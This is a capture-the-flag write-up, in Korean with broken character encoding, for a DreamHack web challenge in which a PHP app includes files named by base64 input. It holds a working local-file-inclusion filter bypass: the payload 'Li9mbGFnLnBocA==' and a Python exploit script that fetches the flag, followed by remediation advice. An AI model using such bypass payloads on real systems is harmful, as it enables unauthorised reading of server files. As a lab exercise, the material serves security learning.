๋ฌธ์ : DreamHack โ Base64 based ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 3 FLAG:
DH{We1c0me_t0_Ba5e64:dvsTcZyRfbNUfdGHx1OySg==}
ํ์ผ๋ช
์ base64๋ก ๋ฐ์ ๊ทธ ํ์ผ์ includeํด ๋ณด์ฌ์ฃผ๋ PHP ์ฑ์ด๋ค. flag.php๋ฅผ includeํ๋ฉด ์๋ฒ์ /flag๋ฅผ ์ฝ์ด ๋ฑ์ง๋ง, ์ธ์ฝ๋ฉ๋ ๋ฌธ์์ด์ flagยท.phpยท../์ base64 ํ์ ์ด ๋ณด์ด๋ฉด ๋ง์๋ฒ๋ฆฐ๋ค. ํํฐ๊ฐ ๊ฒ์ฌํ๋ ๊ฑด ๋์ฝ๋ ๊ฒฐ๊ณผ๊ฐ ์๋๋ผ base64 ๋ฌธ์์ด ๊ทธ ์์ฒด๋ผ๋ ์ ์ ํ๊ณ ๋ค์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Base64 based |
| ๋์ด๋ | ๐ฅ Bronze 3 |
| ๋ถ๋ฅ | Web (PHP 7.4 + Apache) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | index.php, flag.php, hello.php / http://host3.dreamhack.games:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | base64 ์ธ์ฝ๋ฉ LFI โ ๋ธ๋ก ์ ๋ ฌ์ ์ด๊ธ๋ด ๋ฌธ์์ด ๋ธ๋๋ฆฌ์คํธ ์ฐํ |
๋ชฉํ๋ flag.php๋ฅผ include์ํค๋ ๊ฒ์ด๋ค. flag.php๋ ์์ ALLOW_INCLUDE๊ฐ ์ ์๋ผ ์์ผ๋ฉด /flag๋ฅผ ์ฝ์ด ์ถ๋ ฅํ๋๋ฐ, index.php๊ฐ ๊ทธ ์์๋ฅผ ์ ์ํ ์ฑ includeํ๋ ์กฐ๊ฑด์ ์ ์ ๋ก ๋ง๋๋ค. ๋ฌธ์ ๋ ํ์ผ๋ช
์ base64๋ก ๋๊ฒจ์ผ ํ๊ณ , ๊ทธ base64์ ๊ธ์ง ์กฐ๊ฐ์ด ๊ฑธ๋ฆฌ์ง ์์์ผ ํ๋ค๋ ๊ฒ๋ฟ์ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ base64๋ 3๋ฐ์ดํธ๋ฅผ 4๊ธ์๋ก ์๋ฅธ๋ค
base64๋ ์๋ณธ ๋ฐ์ดํธ๋ฅผ 3๊ฐ์ฉ ๋ฌถ์ด ๊ฐ ๋ฌถ์์ 4๊ฐ์ ์ถ๋ ฅ ๋ฌธ์๋ก ๋ฐ๊พผ๋ค. 3๋ฐ์ดํธ(24๋นํธ)๋ฅผ 6๋นํธ์ฉ ๋ท์ผ๋ก ์ชผ๊ฐ ๋ฌธ์ํ์ ๋งคํํ๋ ๋ฐฉ์์ด๋ค.
์ฌ๊ธฐ์ ์ค์ํ ์ฑ์ง ํ๋. ๊ฐ์ ๊ธ์๋ผ๋ ์๋ณธ์์ ๋ช ๋ฒ์งธ ๋ฐ์ดํธ์ ๋์ด๋๋(์ ๋ ฌ ์คํ์
)์ ๋ฐ๋ผ ์ ํ ๋ค๋ฅธ base64 ์กฐ๊ฐ์ด ๋๋ค. "flag"๊ฐ 3๋ฐ์ดํธ ๋ฌถ์์ ์์์ ์ ํํ ๊ฑธ๋ฆฌ๋ฉด ํญ์ Zmxh๋ก ์์ํ๋ ์ต์ํ ํจํด์ด ๋์ค์ง๋ง, ํ ๋ฐ์ดํธ ๋ฐ๋ ค์ ๋ฌถ์ด๋ฉด ๊ทธ ํจํด์ด ๊นจ์ง๋ค.
PHP ์ชฝ ์ฅ์น๋ ๋จ์ํ๋ค. require_once($file)์ ์ง์ ํ ๊ฒฝ๋ก์ PHP ํ์ผ์ ๊ทธ ์๋ฆฌ์์ ์คํํ๋ค. ์คํ ์ค์ฝํ๊ฐ ํธ์ถ๋ถ์ ๊ฐ์์, index.php์์ define('ALLOW_INCLUDE', true)๋ก ์ ์ํ ์์๋ฅผ include๋ flag.php๊ฐ ๊ทธ๋๋ก ๋ณธ๋ค.
// flag.php
if (!defined('ALLOW_INCLUDE')) {
http_response_code(403);
exit('Direct access is not allowed.');
} else {
$file = file_get_contents('/flag');
echo trim($file);
}flag.php๋ฅผ ์ง์ ์ด๋ฉด 403์ด์ง๋ง, index.php๋ฅผ ๊ฑฐ์ณ include๋๋ฉด ํต๊ณผํด flag๋ฅผ ๋ฑ๋๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ index.php์ ํํฐ
ํต์ฌ์ index.php ํ ํ์ผ์ด๋ค. ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๋ ๋ถ๋ถ์ ๋ณด์.
define('ALLOW_INCLUDE', true);
if (isset($_GET['file'])) {
$encodedFileName = $_GET['file'];
if (stripos($encodedFileName, "Li4v") !== false){
echo "<p class='error'>Error: Not allowed ../.</p>"; exit(0);
}
if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
echo "<p class='error'>Error: Not allowed flag.</p>"; exit(0);
}
$decodedFileName = base64_decode($encodedFileName);
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
echo "<p>Including file: <strong>$decodedFileName</strong></p>";
require_once($decodedFileName);
} else {
echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}
}ํํฐ๊ฐ ๊ฒ์ฌํ๋ ๋์์ ๋์ฝ๋ ์ base64 ๋ฌธ์์ด์ด๋ค. ์ธ ์กฐ๊ฐ์ ๋ง๋๋ค.
| ๊ธ์ง ์กฐ๊ฐ | base64๊ฐ ๋ปํ๋ ๊ฒ | ๋ชฉ์ |
|---|---|---|
Li4v | ../ | ๋๋ ํ ๋ฆฌ ํ์ถ ์ฐจ๋จ |
ZmxhZ | flag (์ ์๋ถ๋ถ) | flag ๋ฌธ์์ด ์ฐจ๋จ |
aHA= | hp | .php์ ๋ ๋ ๊ธ์ ์ฐจ๋จ |
ํต๊ณผํ๋ฉด base64_decode ํ require_once($decodedFileName)๋ก includeํ๋ค. ์ฌ๊ธฐ์ ๋์ฌ๊ฒจ๋ณผ ์ ๋ ๊ฐ.
require_once๊ฐ ๋ฐ๋ ๊ฑด $filePath(์ ๋๊ฒฝ๋ก)๊ฐ ์๋๋ผ **๋์ฝ๋๋ ์๋๊ฒฝ๋ก $decodedFileName**์ด๋ค. ์คํ ๋๋ ํ ๋ฆฌ๊ฐ /var/www/html(= __DIR__)์ด๋ฏ๋ก, ./flag.php ๊ฐ์ ์๋๊ฒฝ๋ก๊ฐ ๊ทธ๋๋ก ๋จนํ๋ค.
๊ฒฝ๋ก ๊ฒ์ฌ strpos(realpath($filePath), __DIR__) == 0์ ๋์จํ ๋น๊ต(==)๋ค. realpath๊ฐ /var/www/html/flag.php๋ฅผ ๋๋ ค์ฃผ๋ฉด strpos๋ 0์ ๋ฐํํ๊ณ 0 == 0์ด๋ผ ํต๊ณผํ๋ค. ์ฐ๋ฆฌ๊ฐ ์น ๋ฃจํธ ์์ ํ์ผ๋ง ๋
ธ๋ฆฌ๋ฉด ๊ฑธ๋ฆด ์ผ์ด ์๋ค.
์ ๋ฆฌํ๋ฉด, ๋
ธ๋ฆด ํ์ผ์ flag.php, ๋๊ธธ ๋ฐฉ๋ฒ์ base64, ์ ์ผํ ์ฅ์ ๋ฌผ์ flagยทhpยท../์ base64 ์กฐ๊ฐ์ ๋ฌธ์์ด์ ๋จ๊ธฐ์ง ์๋ ๊ฒ์ด๋ค.
๐ ์ฝ์ง โ flag.php๋ฅผ ์ ์งํ๊ฒ ์ธ์ฝ๋ฉํ๋ฉด ๋ค ๊ฑธ๋ฆฐ๋ค
โถ๐ ์ฝ์ง โ base64('flag.php')๊ฐ ๊ธ์ง ์กฐ๊ฐ ๋ ๊ฐ๋ฅผ ํ๊บผ๋ฒ์ ํ๋๋ค
๊ฐ์ฅ ๋จผ์ ๋ ์ค๋ฅด๋ ๊ฑด flag.php๋ฅผ ๊ทธ๋๋ก base64 ํ๋ ๊ฒ์ด๋ค. ๊ฒฐ๊ณผ๋ ZmxhZy5waHA=.
ZmxhZ(flag) ํฌํจ โ flag ํํฐ ๊ฑธ๋ฆผaHA=(hp) ํฌํจ โ flag ํํฐ ๊ฑธ๋ฆผ
ํ ๋ฌธ์์ด์ด ๊ธ์ง ์กฐ๊ฐ ๋ ๊ฐ๋ฅผ ๋์์ ํ๋๋ค. ์๋ฒ๋ ๋ฐ๋ก ๋ง๋๋ค.

๋๋ ํ ๋ฆฌ ํ์ถ๋ก ์ฐํํ ๊น ์ถ์ด ../flag.php(Li4vZmxhZy5waHA=)๋ ๋์ ธ๋ดค์ง๋ง, ์ด๋ฒ์ ๋งจ ์ Li4v(../)๊ฐ ๋จผ์ ๊ฑธ๋ฆฐ๋ค.

flag.php๋ผ๋ ๊ธ์ ์์ฒด๋ ํ์ํ๋ค. ๊ทธ๋ฌ๋ฉด ๋จ์ ๊ฑด ๊ธ์๋ ๊ทธ๋๋ก ๋๋ base64 ํํ๋ง ๋ฐ๊พธ๋ ๊ฒ๋ฟ์ด๋ค.
flag๊ฐ 3๋ฐ์ดํธ ๋ฌถ์์ ์์์ ๋ฑ ๊ฑธ๋ฆฌ๋ ํ ZmxhZ๋ ๊ณ์ ๋์จ๋ค. ๋ฌถ์ ๊ฒฝ๊ณ๋ฅผ ๋ฐ์ด๋ฒ๋ฆฌ๋ฉด ์ด๋ป๊ฒ ๋ ๊น โ ๊ทธ๊ฒ ๋ํ๊ตฌ์๋ค.
๐ฃ ํต์ฌ โ ๋ธ๋ก ์ ๋ ฌ์ ๋ฐ์นธ ๋ฐ๊ธฐ
ํ์ผ๋ช
์์ ์๋ฌด ์๋ฏธ ์๋ ./๋ฅผ ๋ถ์ธ๋ค. ./flag.php๋ ์ฌ์ ํ ๊ฐ์ ํ์ผ์ ๊ฐ๋ฆฌํค์ง๋ง(ํ์ฌ ๋๋ ํ ๋ฆฌ = ์น ๋ฃจํธ), ์์ 2๋ฐ์ดํธ๊ฐ ๋ผ๋ฉด์ ๋ค๋ฐ๋ฅด๋ ๋ชจ๋ ๊ธ์์ 3๋ฐ์ดํธ ๋ฌถ์ ์ ๋ ฌ์ด ๋ฐ๋ฆฐ๋ค.

./flag.php๋ฅผ base64 ํ๋ฉด Li9mbGFnLnBocA==์ด๋ค. ์ ๋ ฌ์ด ๋ฐ๋ฆฐ ๊ฒฐ๊ณผ ์ด๋ ๊ฒ ๋ฐ๋๋ค.
flag๊ฐf|lag๋ก ๋ ๋ฌถ์์ ์ชผ๊ฐ์ ธ โZmxhZ๊ฐ ์์ ์ ์๊ธด๋ค.php๊ฐ.ph|p๋ก ์ชผ๊ฐ์ ธ โ.php๋LnBocA==๊ฐ ๋๊ณaHA=๋ ์ ์๊ธด๋ค- ๋งจ ์์
Li9m(./f) โ../์Li4v์ ๋ค๋ฅด๋ค
์ธ ํํฐ๋ฅผ ์ ๋ถ ๋น์์ผ๋ก ์ง๋๊ฐ๋ค. ๋์ฝ๋ํ๋ฉด ./flag.php, require_once("./flag.php")๊ฐ ์น ๋ฃจํธ์ flag.php๋ฅผ ์คํํ๋ค.
๊ฐ์ ์๋ฆฌ๋ก hello.php(aGVsbG8ucGhw)๋ฅผ ๋ฃ์ด ๋ณด๋ฉด include๊ฐ ์ค์ ๋ก PHP๋ฅผ ์คํํ๋ค๋ ๊ฑธ ๋จผ์ ํ์ธํ ์ ์๋ค. .php๊ฐ o.p|hp ๋ฌถ์์ผ๋ก ํฉ์ด์ ธ aHA=๊ฐ ์์ด ์ด๊ฑด ํํฐ๋ ์ ๊ฑธ๋ฆฐ๋ค.

๐ฏ ์ต์คํ๋ก์
์ต์ข payload๋ ํ ์ค์ด๋ค.
GET /?file=Li9mbGFnLnBocA==Li9mbGFnLnBocA==๋ ./flag.php์ base64์ด๊ณ , ์ธ ํํฐ๋ฅผ ๋ชจ๋ ํํผํ๋ค. ๋์ฝ๋ โ require_once("./flag.php") โ flag.php๊ฐ /flag๋ฅผ ์ฝ์ด ์ถ๋ ฅํ๋ค.

๐ Full Exploit
ํ์ผ๋ช
์์ ./๋ฅผ ๋ถ์ฌ base64 ํ๊ณ , ๊ธ์ง ์กฐ๊ฐ์ด ์๋์ง ์๊ฐ๊ฒ์ฆํ ๋ค ์์ฒญํ๋ค.
import base64, re, requests
BASE = "http://host3.dreamhack.games:<port>"
payload_name = "./flag.php"
enc = base64.b64encode(payload_name.encode()).decode() # Li9mbGFnLnBocA==
# ํํฐ ์๊ฐ๊ฒ์ฆ: Li4v(../) ยท ZmxhZ(flag) ยท aHA=(hp) ํํผ ํ์ธ
for bad, meaning in [("Li4v", "../"), ("ZmxhZ", "flag"), ("aHA=", "hp/.php")]:
assert bad not in enc, f"์ฐจ๋จ๋ฌธ์์ด {bad}({meaning}) ํฌํจ!"
print(f"[*] ํ์ผ๋ช
: {payload_name}")
print(f"[*] base64 : {enc} (Li4v/ZmxhZ/aHA= ์ ๋ถ ํํผ)")
r = requests.get(BASE + "/", params={"file": enc}, timeout=10)
m = re.search(r"DH\{[^}]+\}", r.text)
print(f"[*] ์์ฒญ : {BASE}/?file={enc}")
print(f"[+] FLAG : {m.group(0) if m else '(๋ชป ์ฐพ์)'}")์คํํ๋ฉด payload๊ฐ ์ธ ์กฐ๊ฐ์ ํผํ๋ค๋ ์๊ฐ๊ฒ์ฆ๊ณผ ํจ๊ป flag๊ฐ ๊ทธ๋๋ก ์ฐํ๋ค. ์ด ๋ฌธ์ ์ flag ๋ ์๋ถ๋ถ(We1c0me_t0_Ba5e64:)๋ง ๊ณ ์ ์ด๊ณ ๋ท๋ถ๋ถ์ ์ธ์คํด์ค๋ง๋ค ์๋ก ์์ฑ๋๋ฏ๋ก, ์๋ ๊ฐ๊ณผ ์ฌ๋ฌ๋ถ์ด ๋ฐ๋ ๊ฐ์ ๋ค๋ฅด๋ค.

[+] FLAG : DH{We1c0me_t0_Ba5e64:dvsTcZyRfbNUfdGHx1OySg==}๐ ๊ฒฐ๋ก
์ธ์ฝ๋ฉ๋ ๋ฌธ์์ด์ ๋ธ๋๋ฆฌ์คํธ๋ก ๋ง์ผ๋ฉด ์ธ์ฝ๋ฉ์ ์ฑ์ง์ ๊ทธ๋๋ก ๋ฐ๋ชฉ ์กํ๋ค.
์ด ํํฐ๋ base64 ๋ฌธ์์ด์์ flagยทhpยท../์ "ํํ ํํ"๋ง ์ฐพ์๋ค. ํ์ง๋ง base64๋ ๊ฐ์ ๊ธ์๋ฅผ ์ ๋ ฌ ์คํ์
์ ๋ฐ๋ผ ์ฌ๋ฌ ํํ์ผ๋ก ๋ง๋ ๋ค. flag๋ ZmxhZ์ผ ์๋, ์์ ํ๋ ๋ฐ์ดํธ๊ฐ ๋ผ๋ฉด bGFn์ผ๋ก๋ ๋์จ๋ค. ๊ฑธ๋ฌ์ผ ํ ๋์์ ๊ฒฐ๊ตญ ๋์ฝ๋ ๊ฒฐ๊ณผ์ธ๋ฐ ๊ทธ ์ ๋จ๊ณ๋ฅผ ๊ฒ์ฌํ์ผ๋, ํํ ํ๋๋ง ์์๋ ๋๋จธ์ง๋ ์ผ๋ง๋ ์ง ์๋ค.
๊ฒ์ฆ์ ์ ๊ทํํ ๋ค์, ์ต์ข ์ ์ผ๋ก ์ฐ์ด๋ ๊ฐ ๊ธฐ์ค์ผ๋ก ํด์ผ ํ๋ค.
์ฌ๊ธฐ์ ์ณ์ ์์๋ base64๋ฅผ ๋จผ์ ๋์ฝ๋ํ๊ณ , realpath๋ก ๊ฒฝ๋ก๋ฅผ ์ ๊ทํํ ๋ค, ๊ทธ ๊ฒฐ๊ณผ๊ฐ ํ์ฉ๋ ํ์ดํธ๋ฆฌ์คํธ(์: ํน์ ๋๋ ํ ๋ฆฌ์ ํน์ ํ์ฅ์)์ ๋๋์ง ๋ณด๋ ๊ฒ์ด์๋ค. ๋์ฝ๋ ์ ๋ฌธ์์ด์ ํ๋ ๊ฒ์ฌ๋ ์ฐํ ํํ์ ์๋งํผ ๊ตฌ๋ฉ์ด ๋๋ค.
LFI๋ include ๋์์ ํ์ดํธ๋ฆฌ์คํธ๋ก ๊ณ ์ ํ๋ ๊ฒ ์ ์์ด๋ค.
์ ์ด์ ์์ ํ์ผ๋ช
์ ๋ฐ์ require_once์ ๊ทธ๋๋ก ๋๊ธฐ๋ ๊ตฌ์กฐ๊ฐ ์ํํ๋ค. ๋ณด์ฌ์ค ํ์ผ์ด ์ ํด์ ธ ์๋ค๋ฉด ํ์ผ๋ช
์ ํค๋ก๋ง ๋ฐ์ ์๋ฒ๊ฐ ๋ด๋ถ ๋งคํ์ผ๋ก ์ค์ ๊ฒฝ๋ก๋ฅผ ๊ณ ๋ฅด๋ ํธ์ด ์์ ํ๋ค. ์ฌ์ฉ์ ์
๋ ฅ์ด include ๊ฒฝ๋ก์ ์ง์ ๋ฟ์ง ์๊ฒ ํ๋ ๊ฒ โ ๊ทธ๊ฒ ์ด ๋ฌธ์ ๊ฐ ๋์น ์ง์ ์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ